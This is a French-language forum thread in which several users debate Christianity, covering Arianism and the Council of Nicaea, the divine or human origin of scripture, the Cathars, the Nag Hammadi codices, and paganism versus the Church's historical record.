Mephusteg a écrit:

Comme toi, je connais tous ces témognages, je connais la vidéo du Bohémian Groove où l'on voit un sacrifice, mais cette vidéo ne permet pas de savoir si ce sacrifice est réel ou non, je connais aussi les témoignages d'enfants racontant des cérémonies sacrificielles d'enfants, des témoignages rejetés par la "justice" (si on peut encore l'appeler comme ça ...). Les enfants sont accusés d'inventer alors même que des pédopsychiatres disent qu'il est impossible pour un enfant d'inventer de telles horreurs.

Pour le Bohemian Grove d’Alex Jones et de son comparse journaliste, si je me rappelle bien il ne semble pas y avoir eut de sacrifice mais je peux me tromper, selon eux, ils ont mimé un rituel sacrificiel avec du feu dédié à Moloch sachant que celui-ci selon les rites païens recevaient des sacrifices uniquement d’enfant !

Mephusteg a écrit:

Je sais que le fait que Jésus puisse être dieu "fait chair" est largement contesté par les musulmans. Ces derniers considèrent cette croyance comme une forme d' "association" et donc de polythéisme, ce qui est condamnable à leurs yeux. Cette croyance condamnable aux yeux des musulmans est surtout le fait des catholiques, beaucoup de chrétiens ne partagent pas cette croyance. Pour les musulmans, ceux qui partagent cette croyance ne sont pas de vrais chrétiens.

Enfin de compte je parlais du courant religieux chrétien de l’époque du concile de Nicée dont leur porte parole était Arius d’où leur nom l’arianisme, ils étaient opposé aux courant religieux du nom des « trinitaires » ou « nicéens ». Leur dissension était tel qu’elle mettait en péril les projets politique de l’empereur Constantinople Ier qui voulait unifier les royaumes nouvellement conquit, ainsi il a ordonné aux évêques de trouver un terrain d’entente aux risques d’être tous excommunié. Les arianismes croyaient que Jésus était un homme devenue Divin par la grâce de Dieu car il était de substance divin, il ne peut pas être le père et le fils à la fois. D’autant plus que selon leur logique : « Jésus n’existe pas en tout temps donc il ne peut être égale à Dieu », ainsi selon eux, on pouvait être chrétien juste par le baptême et le reste est selon sa libre expression. Alors que les trinitaires croyaient que Jésus était de la même substance que Dieu, il était Dieu de Dieu, et de fait le baptême ne suffisait pas pour être un chrétien et que l’expression de celui-ci devait croire que Jésus était Dieu, donc chaque âme devait être sauvé uniquement par Jésus Christ ce qui donna les conversion obligatoire, alors que pour les arianisme c’était l’inverse car chaque âme pouvait être sauvé mais respecté car nous ne sommes pas substance de Jésus mais de Dieu.


L’empereur Constantin Ier trancha en faveur des Trinitaires et excommunia les évêques récalcitrant dont Arius qui ne voulait aucun compromis. Ce qui donna la version idéologique de l’église chrétienne romaine apostolique qui qualifie Jésus, Dieu de Dieu que nous connaissons actuellement. Il semblerait qu’il y avait bien d’autre courant chrétien, parmi lesquelles l’église romaine mieux organisé politiquement à pu assoir sa totale domination.

ah oui j'oubliais ... au tout début, avant de me renseigner davantage sur cette page de l’histoire du vatican, c’est une Bonne Sœur catholique qui me donna l’information pourtant sachant cela, elle a toujours gardé une Foi intact car très tôt elle a su faire la part des choses entre la politique et le spirituel, car selon elle l’Église ce n’est que de la politique durant toute son histoire.

Mephusteg a écrit:

A moins que dans ta pensée, le contenu ne soit pas le livre lui-même mais le texte. Le texte serait le fait des hommes mais il contiendrait une dimension spirituelle non négligeable, c'est ça ?
Comme tu le vois, je fais vraiment des efforts pour essayer de comprendre ton point de vue.

Je ne doute pas que ces textes puissent avoir une valeur spirituelle par certains côtés, mais il ne faut pas oublier que c'est la nature divine qui est prétée à ces textes qui fondent la Foi des croyants.

Si on arrive à la conclusion (par la preuve) que ces textes (Thora, Bible, Coran) ne sont pas d'origine divine mais clairement d'origine humaine cela devrait faire réfléchir aux fondements même de cette Foi qui y est associée, plutôt que de s'y accrocher.

Sinon, cela revient à avoir la foi en des choses fausses, et cela fait de ces textes "un puissant vecteur" de manipulation et non d'éveil spirituel.

Je sais, l’esprit humain est fait de telle manière qu’il peut avoir la Foi en des choses fausses et pourtant il peut totalement sublimer tout son être s’il croit réellement en la valeur de sa croyance. Il y a des prêtes, des moines, des sœurs, des pratiquant qui s’investissement réellement dans leur profession de foi, certains y mettent une telle vigueur qu’ils font des choses étonnantes. Lorsque on suit une thérapie c’est souvent la confiance au thérapeute qui garantie un résultat positif mais il est vrai que nous prenons le risque d’être sous sa domination. Ainsi on peut avoir la Foi mais pour s’échapper de la domination d’une structure telle que le Vatican s’immisçant dans notre petite cuisine intérieur, il ne faut pas hésiter à remettre en doute cette église pour lui rappeler sa place de contenant et rien d’autre.

Je peux me tromper ou peut-être que je suis manipulé par des forces extérieurs, je n’exclue rien, mais pour des raisons personnelles, je sais qu’il y a dans ces écrits quelque chose d’initialement Divin, attention je ne parle là que pour le Nouveau Testament, le Coran et certains anciens écrits kabbalistiques hébraïques comme le Zohar. Sachant que je n’apporte strictement aucun crédit à l’ancien Testament et au Talmud même pas pour caler mon dessus de Table, désolé si j’offense quelque uns et encore je pesé mes mots !!

haig a écrit:

Oui , les Églises sont ce quelles sont , mais si l’Église catholique n'avait pas existé que serait devenue le christianisme, aurait-elle traversé 2000 ans d'histoire parmi les empires , les royaumes , les invasions .... ? serions nous en mesure de parler ,aujourd’hui , de christianisme ? sans capitaux dans nos systèmes économiques humains aurait-elle pu subsister ? sans une certaine autorité , une certaine base dogmatique aurait-elle pu garder une cohérence parmi la diversité des peuples coutumes etc... qu'elle a évangélisées ?

Comme ça au hasard, Les Cathares, ce peuple magnifique seraient toujours en vie, Ils ont refusé de se soumettre à la hiérarchie de la foi catholique de l’église romaine, qu’ils considéraient comme de l’abus de pouvoir et des profiteurs de richesse. Si l’Église n’avait pas ordonné leur extermination à travers de longue croisade dans le sud du fait de leur refus de rejoindre l’église apostolique romaine, je pense que les chrétiens auraient appris bien des choses sur le Christ.

Certaines religions orientales issues des livres védiques Unipanishad comme le Ramayana ou le Mahabarata dont est issue la religion hindouiste, a pu promouvoir sans message sans aucune super structure similaire à un Vatican et pourvoyeur de guerre.

haig a écrit:

Les matériaux historiques et / ou archéologiques sont trop souvent discutables !

Les parchemins copte de Nag Hammadi n'ont strictement rien de discutable et pourtant elles remettent en cause le fondement même de l'église !

haig a écrit:

mais si l’Église catholique n'avait pas existé que serait devenue le christianisme, aurait-elle traversé 2000 ans d'histoire parmi les empires , les royaumes , les invasions .... ?

Si l'Eglise catholique n'avait pas existé, de nombreuses choses auraient été différentes. Mais voilà, elle existe.
Avec des si on pourrait refaire l'histoire.
Que se serait-il passé si la bataille de Poitier n'avait pas été remporté par Charles Martel ?

haig a écrit:

Mephusteg , comment verrais-tu un texte des évangiles sans cette texture humaine , à quoi cela pourrait-il ressembler pour qu'une majorité de gens puissent dire , oui ce texte est bien d'origine divine, cela est incontestable ?

Je vais étendre ta question à tous les textes dit "d'origine divine".
A la base, et selon moi, un texte d'origine divine devrait être un texte qui ne ment pas.

Et aucun des textes des religions dites "du Livre" ne sont conformes à cela.

RedStard a écrit:

Leur dissension était tel qu’elle mettait en péril les projets politique de l’empereur Constantinople Ier qui voulait unifier les royaumes nouvellement conquit,

Oui l'empereur Constantin (et non Constantinople), voulait unifier l'empire sous une seule croyance "universelle", c'est comme ça qu'est née l'Eglise catholique et apostolique.

RedStard a écrit:

c’est une Bonne Sœur catholique qui me donna l’information pourtant sachant cela, elle a toujours gardé une Foi intact car très tôt elle a su faire la part des choses entre la politique et le spirituel, car selon elle l’Église ce n’est que de la politique durant toute son histoire.

Cela reste un mystère pour moi, comment une personne qui sait que le texte n'est pas véridique peut continuer à garder une foi basée sur des mensonges et qui sert avant tout des intérêts politiques.

RedStard a écrit:

Je sais, l’esprit humain est fait de telle manière qu’il peut avoir la Foi en des choses fausses et pourtant il peut totalement sublimer tout son être s’il croit réellement en la valeur de sa croyance. Il y a des prêtes, des moines, des sœurs, des pratiquant qui s’investissement réellement dans leur profession de foi, certains y mettent une telle vigueur qu’ils font des choses étonnantes. Lorsque on suit une thérapie c’est souvent la confiance au thérapeute qui garantie un résultat positif mais il est vrai que nous prenons le risque d’être sous sa domination. Ainsi on peut avoir la Foi mais pour s’échapper de la domination d’une structure telle que le Vatican s’immisçant dans notre petite cuisine intérieur, il ne faut pas hésiter à remettre en doute cette église pour lui rappeler sa place de contenant et rien d’autre.

Je ne remet pas en cause le pouvoir de la foi, de la croyance. Mais ces gens qui croient, s'imaginent que c'est dieu qui leur donne la force , alors qu'en fait ce n'est que la foi, la conviction de ne pas se tromper.
C'est bien que tu parles de la médecine, car l'exemple montre que c'est notre croyance, notre foi qui nous habite qui fait faire de nombreuses choses, qui permet de se soigner, de se guérir, et finalement peu importe ce en quoi on croit, l'important c'est d'y croire.
Mais cela ne montre pas que la croyance est juste, cela montre le pouvoir spirituel (ou psychique) de chacun d'entre nous.

Les personnes qui croient dans le dieu d'une religion et qui ont vraiment la foi, pense que ce qui arrive de bien vient du dieu de leur croyance alors qu'en fait cela vient d'eux-mêmes.

Citation :

RedStard a écrit:

c’est une Bonne Sœur catholique qui me donna l’information pourtant sachant cela, elle a toujours gardé une Foi intact car très tôt elle a su faire la part des choses entre la politique et le spirituel, car selon elle l’Église ce n’est que de la politique durant toute son histoire.

Cela reste un mystère pour moi, comment une personne qui sait que le texte n'est pas véridique peut continuer à garder une foi basée sur des mensonges et qui sert avant tout des intérêts politiques.

Il y a plusieurs raisons dont une raison assez simple à cela, je prendrais l'exemple de ma grand mère, une femme très "Religieuse", elle me tenait le même discours que la Soeur Catholique dont parle RedStard : "l'église c'est quand même de la politique, le Pape ferais mieux de s'occuper de ce qui le regarde, les prêtres ne sont que des hommes avec tout leurs défauts, quand à leurs sermon, il fallait séparer le bon grain de l'ivraie", ect... et je lui posais la question : "mais alors pourquoi est ce que tu continu d'aller inlassablement à la messe tout les dimanches, quelque soit le temps, même si t'es malade"... et sa réponse fut intéressante : "parce que on m'a appris comme ça !"

On n'imagine pas à quel point le conditionnement depuis l'enfance joue un rôle important, pour ma grand mère dans les années 1920/1930, l'église avait encore un pouvoir non négligeable (surtout en Province), les Prêtres de l'époque avait autant d'autorité qu'un maire, et contrarier les institutions religieuses et passer pour un mauvais pratiquant était très mal vue et fermait de nombreuses portes... donc tout le monde faisait comme c'était dît...(et peu importe le côté spirituel...), ce n'est qu'à l'après guerre que les choses ont réellement évolué... Cela n'a pourtant pas empêché ma grand mère de développer une profonde spiritualité dans la croyance Christique (là encore tout dépend de l'être humain) et on en arrive encore à la même conclusion : la religion n'est qu'un outil humain parmi d'autre dans la recherche spirituelle ...



Et puis, on a souvent vu des personnes

Redstar a écrit:

haig a écrit:

Les matériaux historiques et / ou archéologiques sont trop souvent discutables !


Les parchemins copte de Nag Hammadi n'ont strictement rien de discutable et pourtant elles remettent en cause le fondement même de l'église !

Et pourtant aucune faction chrétienne ne s'est aligné en quoi que ce soit avec les écrits de ces parchemins , même pas les évangélistes qui tapent régulièrement sur l’Église Romaine . Je crois que ces papyrus ont surtout alimenté les folles élucubrations des paparazzi en quête de scandales anti-évangéliques ! et rien ne prouve que ces manuscrits coptes ne soient pas influencés par une approche sectaire de l'époque . Donc , attention a tout ce qu'on repique à droite, à gauche pourvu que l'on se flagelle avec de l'anti-catholicisme ! je crois qu'en occident nous faisons pire par les écrits que les iraniens qui se martèlent le dos à coup de chaînes .......
http://fr.wikipedia.org/wiki/Biblioth%C3%A8que_de_Nag_Hammadi

Redstar a écrit:

haig a écrit:

Oui , les Églises sont ce quelles sont , mais si l’Église catholique n'avait pas existé que serait devenue le christianisme, aurait-elle traversé 2000 ans d'histoire parmi les empires , les royaumes , les invasions .... ? serions nous en mesure de parler ,aujourd’hui , de christianisme ? sans capitaux dans nos systèmes économiques humains aurait-elle pu subsister ? sans une certaine autorité , une certaine base dogmatique aurait-elle pu garder une cohérence parmi la diversité des peuples coutumes etc... qu'elle a évangélisées ?



Comme ça au hasard, Les Cathares, ce peuple magnifique seraient toujours en vie, Ils ont refusé de se soumettre à la hiérarchie de la foi catholique de l’église romaine, qu’ils considéraient comme de l’abus de pouvoir et des profiteurs de richesse. Si l’Église n’avait pas ordonné leur extermination à travers de longue croisade dans le sud du fait de leur refus de rejoindre l’église apostolique romaine, je pense que les chrétiens auraient appris bien des choses sur le Christ.

Aujourd'hui les Cathares seraient considérés comme une secte extrémiste et .....dangereuse pour notre jeunesse ! Très franchement aimerais - tu vivre comme un "PARFAIT" ? oui , moi aussi j'aurais aimé que l'Eglise Romaine revienne à plus de simplicité mais l'occident coule alors .....
Tu sais , si vraiment tu te proposes d'anéantir le christianisme et particulièrement le Vatican tu pourrais trouver d'autres arguments et ne pas juger sans débattre car ,attention, comment pouvons-nous nous projeter dans l'histoire, à une époque , dans telles ou telles circonstances , assis derrière un écran d'ordinateur sans être vraiment très léger dans nos appréciations et raisonnements ?
Croyants et Parfaits[extrait ]
Les cathares et ceux qu'on appelait « Parfaits » ou « Bonshommes », qui jouaient en quelque sorte le rôle de prêtres, devaient observer des règles très strictes. Ils étaient astreints à jeûner fréquemment, et une série d'aliments leur étaient défendus en temps ordinaire. Ils ne construisaient pas de temples, ils priaient et prêchaient n'importe où, chaque fois que la possibilité s'en offrait. Ils rejetaient tous les sacrements à l'exception du Consolamentum. Elle concernait les croyants désireux de devenir Parfaits (sorte de baptême). Le croyant s'engageait à respecter les règles propre aux Parfaits : ne plus mentir, ni jurer, ne plus avoir de relations sexuelles, régime alimentaire très strict... Recevant l'accolade de ses initiateurs, qui s'agenouillaient ensuite devant lui, le nouveau Parfait était censé sentir descendre sur lui l'Esprit saint. Tant qu'ils purent afficher librement leurs opinions, les cathares s'habillaient de préférence en noir. Après la répression, ils se contentaient de dissimuler une ceinture noire sous leurs vêtements ordinaires.

haig a écrit:

Redstar a écrit:

haig a écrit:

Les matériaux historiques et / ou archéologiques sont trop souvent discutables !

Les parchemins copte de Nag Hammadi n'ont strictement rien de discutable et pourtant elles remettent en cause le fondement même de l'église !

Et pourtant aucune faction chrétienne ne s'est aligné en quoi que ce soit avec les écrits de ces parchemins , même pas les évangélistes qui tapent régulièrement sur l’Église Romaine.

Et alors ?
les "factions" chrétiennes ont leur dogme déjà établi, il est donc tout à fait logique ce cas "factions" ne s'alignent pas à des écrits qui briseraient leur dogme. Il ne s'agit pas d'une preuve que les parchemins seraient "discutables" (tout dépend de ce qu'on met derrière ce terme). Car si on va par là les écrits canoniques sont eux aussi "discutables".

haig a écrit:

Je crois que ces papyrus ont surtout alimenté les folles élucubrations des paparazzi en quête de scandales anti-évangéliques ! et rien ne prouve que ces manuscrits coptes ne soient pas influencés par une approche sectaire de l'époque .

Les différents mouvement religieux chrétiens de l'époque étaient tous des sectes, sauf que ce terme n'avait le sens péjoratif qu'on lui donne aujourd'hui.

Déinition du mot "secte" dans le Larouuse :

- ensemble de personnes professant une même doctrine (philosophique religieuse ...)
- groupement religieux clos sur lui-même et créé en opposition à des idées et à des pratiques religieuses dominantes.
- clan constituté par des personnes ayant la même idéologie.

On peut voir que ces sens donnés n'ont rien de péjoratif.

Pourtant les divers sens du dictionnaire ne sont pas les sens que l'on retrouve parmis les mouvements de lutte contre les pratiques dites "sectaires". Ces différents mouvement publics ou privé ont des définition très péjoratives, très négatifs de ce qu'est une secte très loin des définitions du dictionnaire : par exemple selon l'ADFI une secte est "Un groupe dans lequel on pratique une manipulation mentale qui entraîne endoctrinement, contrôle de la pensée, viol psychique, destruction de la personne et de la famille, voire de la société.".
Pourtant, c'est ce dernier sens qui apparait pour la plupart des gens quand on leur parle de secte, un sens qui rappelons-le n'est pas dans le dictionnaire.

Mais ce sens est totalement anachronique si on se place à l'époque des premiers chrétiens.

Donc, attention au sens des mots qu'on emploie.

haig a écrit:

Donc , attention a tout ce qu'on repique à droite, à gauche pourvu que l'on se flagelle avec de l'anti-catholicisme ! je crois qu'en occident nous faisons pire par les écrits que les iraniens qui se martèlent le dos à coup de chaînes .......

Les chiites se flagellent oui mais ... àcoups de chaines ? t'es sûr ?
Quoiqu'il en soit l'analogie est tout de même assez osée.

Personnellement je critique le catholicisme oui mais je dis aussi que les autres branches du christianisme actuel sont directement inspiré du dogme catholique.

Et si je critique le catholicisme, je critique aussi le judaïsme et l'Islam. Je reconnais au moins aux catholiques, le mérite de se concentrer essentiellement sur les évangiles et beaucoup moins sur l'Ancien Testament contrairement à la plupart des églises protestantes et mouvement se disant "évangéliques".

Finalement ce que je reproche le plus au christianisme c'est d'avoir diabolisé les anciennes croyances qui respectaient la nature.

haig a écrit:

Oui , les Églises sont ce quelles sont , mais si l’Église catholique n'avait pas existé que serait devenue le christianisme, aurait-elle traversé 2000 ans d'histoire parmi les empires , les royaumes , les invasions .... ? serions nous en mesure de parler ,aujourd’hui , de christianisme ? sans capitaux dans nos systèmes économiques humains aurait-elle pu subsister ? sans une certaine autorité , une certaine base dogmatique aurait-elle pu garder une cohérence parmi la diversité des peuples coutumes etc... qu'elle a évangélisées ?

Si l'eglise catholique n'avait pas existé, nombre de persécutions et de massacres n'auraient pas eu lieu, peut-être même que l'Islam n'aurait pas été inventé, la nature aurait été un peu plus préservée et respectée.

Oui, l'Eglise a accompagné le développement moderne ... pour le monde d'aujourd'hui avec ses problèmes environnementaux qui menacent la survie même de l'humanité.

Mephusteg a écrit:

haig a écrit:

Redstar a écrit:

haig a écrit:

Les matériaux historiques et / ou archéologiques sont trop souvent discutables !

Les parchemins copte de Nag Hammadi n'ont strictement rien de discutable et pourtant elles remettent en cause le fondement même de l'église !

Et pourtant aucune faction chrétienne ne s'est aligné en quoi que ce soit avec les écrits de ces parchemins , même pas les évangélistes qui tapent régulièrement sur l’Église Romaine.

Et alors ?
les "factions" chrétiennes ont leur dogme déjà établi, il est donc tout à fait logique ce cas "factions" ne s'alignent pas à des écrits qui briseraient leur dogme. Il ne s'agit pas d'une preuve que les parchemins seraient "discutables" (tout dépend de ce qu'on met derrière ce terme). Car si on va par là les écrits canoniques sont eux aussi "discutables".

Mais , les écrits canoniques, ouverts à tout vent, sont discutés depuis 2000 ans par croyants et non croyants . Si on pouvait faire une pile de tous les livres et revues , je crois qu'on pourrait en faire plusieurs pyramides !

Mephusteg a écrit:

haig a écrit:

Je crois que ces papyrus ont surtout alimenté les folles élucubrations des paparazzi en quête de scandales anti-évangéliques ! et rien ne prouve que ces manuscrits coptes ne soient pas influencés par une approche sectaire de l'époque .

Les différents mouvement religieux chrétiens de l'époque étaient tous des sectes, sauf que ce terme n'avait le sens péjoratif qu'on lui donne aujourd'hui.

Déinition du mot "secte" dans le Larouuse :

- ensemble de personnes professant une même doctrine (philosophique religieuse ...)
- groupement religieux clos sur lui-même et créé en opposition à des idées et à des pratiques religieuses dominantes.
- clan constituté par des personnes ayant la même idéologie.

On peut voir que ces sens donnés n'ont rien de péjoratif.

Pourtant les divers sens du dictionnaire ne sont pas les sens que l'on retrouve parmis les mouvements de lutte contre les pratiques dites "sectaires". Ces différents mouvement publics ou privé ont des définition très péjoratives, très négatifs de ce qu'est une secte très loin des définitions du dictionnaire : par exemple selon l'ADFI une secte est "Un groupe dans lequel on pratique une manipulation mentale qui entraîne endoctrinement, contrôle de la pensée, viol psychique, destruction de la personne et de la famille, voire de la société.".
Pourtant, c'est ce dernier sens qui apparait pour la plupart des gens quand on leur parle de secte, un sens qui rappelons-le n'est pas dans le dictionnaire.

Mais ce sens est totalement anachronique si on se place à l'époque des premiers chrétiens.

Donc, attention au sens des mots qu'on emploie.

Là encore, il faut faire une transposition dans l'histoire et le temps , dans l'attente d'un peuple .....

Mephusteg a écrit:

haig a écrit:

Donc , attention a tout ce qu'on repique à droite, à gauche pourvu que l'on se flagelle avec de l'anti-catholicisme ! je crois qu'en occident nous faisons pire par les écrits que les iraniens qui se martèlent le dos à coup de chaînes .......

Les chiites se flagellent oui mais ... àcoups de chaines ? t'es sûr ?
Quoiqu'il en soit l'analogie est tout de même assez osée.

Personnellement je critique le catholicisme oui mais je dis aussi que les autres branches du christianisme actuel sont directement inspiré du dogme catholique.

Oui , ce ne sont pas des chaînes , merci d'avoir corrigé .
Il y a les dogmes catholiques et le message tellement fort que les dogmes sont éclipsés , mais la critique s'accroche au dogme car celui provient de ce qu'on a compris , pas compris et de ce qu'on comprendra .

Mephusteg a écrit:

Et si je critique le catholicisme, je critique aussi le judaïsme et l'Islam. Je reconnais au moins aux catholiques, le mérite de se concentrer essentiellement sur les évangiles et beaucoup moins sur l'Ancien Testament contrairement à la plupart des églises protestantes et mouvement se disant "évangéliques".

Finalement ce que je reproche le plus au christianisme c'est d'avoir diabolisé les anciennes croyances qui respectaient la nature.

Tu veux parler du paganisme ? il ne faut pas avoir peur des mots . L'imposition du christianisme ne s'est pas toujours fait par la force , c'est qu'on essaie de nous faire croire . Si le paganisme respecte la nature , le christianisme a amené le respect de l'homme .

Mephusteg a écrit:

haig a écrit:

Oui , les Églises sont ce quelles sont , mais si l’Église catholique n'avait pas existé que serait devenue le christianisme, aurait-elle traversé 2000 ans d'histoire parmi les empires , les royaumes , les invasions .... ? serions nous en mesure de parler ,aujourd’hui , de christianisme ? sans capitaux dans nos systèmes économiques humains aurait-elle pu subsister ? sans une certaine autorité , une certaine base dogmatique aurait-elle pu garder une cohérence parmi la diversité des peuples coutumes etc... qu'elle a évangélisées ?

Si l'eglise catholique n'avait pas existé, nombre de persécutions et de massacres n'auraient pas eu lieu, peut-être même que l'Islam n'aurait pas été inventé, la nature aurait été un peu plus préservée et respectée.

Tiens, tiens , d'après toi qui a créé l'Islam ? et qui la manipule aujourd'hui ?et pourquoi faire endosser persécutions et massacres par le christianisme alors que tout cela existait très régulièrement et constamment avant son arrivée ?

Mephusteg a écrit:

Oui, l'Eglise a accompagné le développement moderne ... pour le monde d'aujourd'hui avec ses problèmes environnementaux qui menacent la survie même de l'humanité.

Tu rigoles ? il n'y a qu'avoir l'empoignade entre évolutionnistes et créationniste et l'instauration du laïcisme par les "frères de lumière" ; je crois que c'est à eux qu'il faut demander des comptes .

haig a écrit:

Mais , les écrits canoniques, ouverts à tout vent, sont discutés depuis 2000 ans par croyants et non croyants . Si on pouvait faire une pile de tous les livres et revues , je crois qu'on pourrait en faire plusieurs pyramides !

Ces écrits sont donc bien discutable, merci de l'avoir confirmer.

haig a écrit:

Mephusteg a écrit:

(...)Mais ce sens est totalement anachronique si on se place à l'époque des premiers chrétiens.

Donc, attention au sens des mots qu'on emploie.

Là encore, il faut faire une transposition dans l'histoire et le temps , dans l'attente d'un peuple .....

Dans l'attente d'un peuple ?

haig a écrit:

Il y a les dogmes catholiques et le message tellement fort que les dogmes sont éclipsés , mais la critique s'accroche au dogme car celui provient de ce qu'on a compris , pas compris et de ce qu'on comprendra .

Si le dogme a éclipsé le message, ne faudrait-il pas abandonné le dogme ?

haig a écrit:

Mephusteg a écrit:

Finalement ce que je reproche le plus au christianisme c'est d'avoir diabolisé les anciennes croyances qui respectaient la nature.

Tu veux parler du paganisme ? il ne faut pas avoir peur des mots . L'imposition du christianisme ne s'est pas toujours fait par la force , c'est qu'on essaie de nous faire croire . Si le paganisme respecte la nature , le christianisme a amené le respect de l'homme .

Parce que tu crois que dans les croyances anciennes, il n'y avait pas de respect de l'Homme ?
Non seulement l'homme était respecté mais la femme aussi l'étais, bien plus d'ailleurs que dans les croyances patriarcales que sont les religions issues du judaïsme.

Je n'ai pas peur du mot paganisme mais je n'aime guère utiliser des mots qui ont pour but de dénigrer certaines personnes de manière confuse et amalgamant diverses croyances. Le paganisme, encore un mot dont le sens a été déformé. Le paganisme en est venu à désigner les polythéistes, et l'ensemble des non-chrétiens dans un grand fatras indescriptible.
Mais à l'origine, l'origine étant l'étymologie, le terme paganisme vient de "paganus" qui signifie rural, rustique, autrement dit ce terme désigne directement les gens proches de la nature, avec une connotation péjorative bien sûr.

haig a écrit:

Mephusteg a écrit:

Si l'eglise catholique n'avait pas existé, nombre de persécutions et de massacres n'auraient pas eu lieu, peut-être même que l'Islam n'aurait pas été inventé, la nature aurait été un peu plus préservée et respectée.

Tiens, tiens , d'après toi qui a créé l'Islam ? et qui la manipule aujourd'hui ?et pourquoi faire endosser persécutions et massacres par le christianisme alors que tout cela existait très régulièrement et constamment avant son arrivée ?

Je fais endosser au christianisme ce qui est le fait du christianisme et ce qui s'est fait en son nom, des massacres, des persécutions, des tortures au non d'un soi-disant dieu de paix, de bonté et de miséricorde.
Au moins, les peuples qui se battaient avant le christianisme ne prétendaient pas le faire au nom d'un dieu de paix.

Pour l'Islam il existe une théorie qui dit que cette religion aurait été créée par des chrétiens refusant le dogme catholique.

haig a écrit:

Mephusteg a écrit:

Oui, l'Eglise a accompagné le développement moderne ... pour le monde d'aujourd'hui avec ses problèmes environnementaux qui menacent la survie même de l'humanité.

Tu rigoles ? il n'y a qu'avoir l'empoignade entre évolutionnistes et créationniste et l'instauration du laïcisme par les "frères de lumière" ; je crois que c'est à eux qu'il faut demander des comptes .

Qui appelles-tu les frère de lumière ? J'imagine tu fais référence aux Franc-maçons puisque tu parles de laïcité.
Oui, sans doute faudrait-il leur demander des comptes à eux aussi, mais leurs agissements n'enlèvent rien à ceux de l'eglise.

Mephusteg a écrit:

haig a écrit:

Mais , les écrits canoniques, ouverts à tout vent, sont discutés depuis 2000 ans par croyants et non croyants . Si on pouvait faire une pile de tous les livres et revues , je crois qu'on pourrait en faire plusieurs pyramides !

Ces écrits sont donc bien discutable, merci de l'avoir confirmer.

Il y en a tellement qui nourrissent des phantasmes , d'autres qui veulent en savoir plus ou mieux comprendre , il n'y a rien de négatif à tout cela et les évangiles ont bien tenu le coup !

Mephusteg a écrit:

haig a écrit:

Mephusteg a écrit:

(...)Mais ce sens est totalement anachronique si on se place à l'époque des premiers chrétiens.

Donc, attention au sens des mots qu'on emploie.

Là encore, il faut faire une transposition dans l'histoire et le temps , dans l'attente d'un peuple .....

Dans l'attente d'un peuple ?

de l'attente...

Mephusteg a écrit:

haig a écrit:

Il y a les dogmes catholiques et le message tellement fort que les dogmes sont éclipsés , mais la critique s'accroche au dogme car celui provient de ce qu'on a compris , pas compris et de ce qu'on comprendra .

Si le dogme a éclipsé le message, ne faudrait-il pas abandonné le dogme ?

Pourquoi donc ? il faut parfois une consistance terrestre à la foi , il y a des croyants et des saints qui n'ont pas besoin de fioritures ; les dogmes permettent d'autre part de canaliser les pratiques et évitent toutes dérives .

Mephusteg a écrit:

haig a écrit:

Mephusteg a écrit:

Finalement ce que je reproche le plus au christianisme c'est d'avoir diabolisé les anciennes croyances qui respectaient la nature.

Tu veux parler du paganisme ? il ne faut pas avoir peur des mots . L'imposition du christianisme ne s'est pas toujours fait par la force , c'est qu'on essaie de nous faire croire . Si le paganisme respecte la nature , le christianisme a amené le respect de l'homme .

Parce que tu crois que dans les croyances anciennes, il n'y avait pas de respect de l'Homme ?
Non seulement l'homme était respecté mais la femme aussi l'étais, bien plus d'ailleurs que dans les croyances patriarcales que sont les religions issues du judaïsme.

Hummmm ! le christianisme a amené une autre dimension à la valeur de la vie humaine et aux notions même d'humanité sinon quelle différence y aurait-il entre judaïsme et christianisme ?

Mephusteg a écrit:

Je n'ai pas peur du mot paganisme mais je n'aime guère utiliser des mots qui ont pour but de dénigrer certaines personnes de manière confuse et amalgamant diverses croyances. Le paganisme, encore un mot dont le sens a été déformé. Le paganisme en est venu à désigner les polythéistes, et l'ensemble des non-chrétiens dans un grand fatras indescriptible.
Mais à l'origine, l'origine étant l'étymologie, le terme paganisme vient de "paganus" qui signifie rural, rustique, autrement dit ce terme désigne directement les gens proches de la nature, avec une connotation péjorative bien sûr.

Les païens au sens large du terme guerroyaient presque sans cesse mais , il faut le reconnaître bien souvent pour leur survie ou tout simplement pour accroître leurs biens et cela sans souci du "mal".

Mephusteg a écrit:

haig a écrit:

Mephusteg a écrit:

Si l'eglise catholique n'avait pas existé, nombre de persécutions et de massacres n'auraient pas eu lieu, peut-être même que l'Islam n'aurait pas été inventé, la nature aurait été un peu plus préservée et respectée.

Tiens, tiens , d'après toi qui a créé l'Islam ? et qui la manipule aujourd'hui ?et pourquoi faire endosser persécutions et massacres par le christianisme alors que tout cela existait très régulièrement et constamment avant son arrivée ?

Je fais endosser au christianisme ce qui est le fait du christianisme et ce qui s'est fait en son nom, des massacres, des persécutions, des tortures au non d'un soi-disant dieu de paix, de bonté et de miséricorde.
Au moins, les peuples qui se battaient avant le christianisme ne prétendaient pas le faire au nom d'un dieu de paix.

Ah là là , c'est toujours les chrétiens qui ont fait des massacres etc... etc ...mais si tu y regarde de plus près , alors là tu verras que bien souvent les chrétiens ont pris les armes dans le seul but de se défendre et bien des contrées ont été pacifiés grâce à eux .

Mephusteg a écrit:

Pour l'Islam il existe une théorie qui dit que cette religion aurait été créée par des chrétiens refusant le dogme catholique.

Dernières nouvelles , j'ai entendu d'autres sons de cloche , mais j'aimerais bien en savoir plus sur la théorie que tu proposes , je compte sur toi .

Mephusteg a écrit:

haig a écrit:

Mephusteg a écrit:

Oui, l'Eglise a accompagné le développement moderne ... pour le monde d'aujourd'hui avec ses problèmes environnementaux qui menacent la survie même de l'humanité.

Tu rigoles ? il n'y a qu'avoir l'empoignade entre évolutionnistes et créationniste et l'instauration du laïcisme par les "frères de lumière" ; je crois que c'est à eux qu'il faut demander des comptes .

Qui appelles-tu les frère de lumière ? J'imagine tu fais référence aux Franc-maçons puisque tu parles de laïcité.
Oui, sans doute faudrait-il leur demander des comptes à eux aussi, mais leurs agissements n'enlèvent rien à ceux de l'eglise.

Peux tu me dire précisément quels sont ces agissements de l’Église. Le marxisme , oui, lui c'est adossé à la théorie de l'évolution pour se permettre la pollution sans réserves et sans respect des individus .

haig a écrit:

Mephusteg a écrit:

haig a écrit:

Il y a les dogmes catholiques et le message tellement fort que les dogmes sont éclipsés , mais la critique s'accroche au dogme car celui provient de ce qu'on a compris , pas compris et de ce qu'on comprendra .

Si le dogme a éclipsé le message, ne faudrait-il pas abandonné le dogme ?

Pourquoi donc ? il faut parfois une consistance terrestre à la foi , il y a des croyants et des saints qui n'ont pas besoin de fioritures ; les dogmes permettent d'autre part de canaliser les pratiques et évitent toutes dérives .

